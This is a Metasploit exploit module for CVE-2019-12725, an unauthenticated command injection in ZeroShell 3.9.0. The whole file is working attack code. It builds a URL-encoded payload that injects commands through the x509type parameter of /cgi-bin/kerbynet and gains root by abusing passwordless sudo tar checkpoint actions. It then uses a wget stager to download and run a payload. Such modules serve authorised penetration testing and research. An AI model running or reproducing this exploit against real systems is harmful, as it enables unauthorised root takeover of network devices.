ZeroShell 3.9.0 Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Zeroshell 3.9.0 Remote Command Execution',  
'Description' => %q{  
This module exploits an unauthenticated command injection vulnerability   
found in ZeroShell 3.9.0 in the "/cgi-bin/kerbynet" url.   
As sudo is configured to execute /bin/tar without a password (NOPASSWD)  
it is possible to run root commands using the "checkpoint" tar options.  
},  
'Author' => [  
'Juan Manuel Fernandez', # Vulnerability discovery  
'Giuseppe Fuggiano <giuseppe[dot]fuggiano[at]gmail.com>', # Metasploit module  
],  
'References' => [  
['CVE', '2019-12725'],  
['URL', 'https://www.tarlogic.com/advisories/zeroshell-rce-root.txt'],  
['URL', 'https://github.com/X-C3LL/PoC-CVEs/blob/master/CVE-2019-12725/ZeroShell-RCE-EoP.py']  
],  
'DisclosureDate' => 'Jul 17 2019',  
'License' => MSF_LICENSE,  
'Privileged' => true,   
'Platform' => [ 'unix', 'linux' ],  
'Arch' => [ ARCH_X86 ],  
'Targets' => [  
['Zeroshell 3.9.0 (x86)', {  
'Platform' => 'linux',  
'Arch' => ARCH_X86,  
}],  
],  
'DefaultTarget' => 0,  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
])  
end  
  
def execute_command(cmd, opts = {})  
command_payload = "%27%0A%2Fetc%2Fsudo+tar+-cf+%2Fdev%2Fnull+%2Fdev%2Fnull+--checkpoint%3d1+--checkpoint-action%3dexec%3d%22#{filter_bad_chars(cmd)}%22%0A%27"  
  
print_status("Sending stager payload...")  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => '/cgi-bin/kerbynet',  
'encode_params' => false,  
'vars_get' => {  
'Action' => 'x509view',  
'Section' => 'NoAuthREQ',  
'User' => '',  
'x509type' => command_payload  
}  
)  
  
return res  
end  
  
def filter_bad_chars(cmd)  
cmd.gsub!(/chmod \+x/, 'chmod 777')  
cmd.gsub!(/;/, " %0A ")  
cmd.gsub!(/ /, '+')  
cmd.gsub!(/\//, '%2F')  
return cmd  
end  
  
def check  
res = execute_command('id')  
if res && res.body.include?("uid=0(root)")  
Exploit::CheckCode::Appears  
else  
Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
print_status("Exploiting...")  
execute_cmdstager(flavor: :wget, delay: 5)  
end  
  
end  
`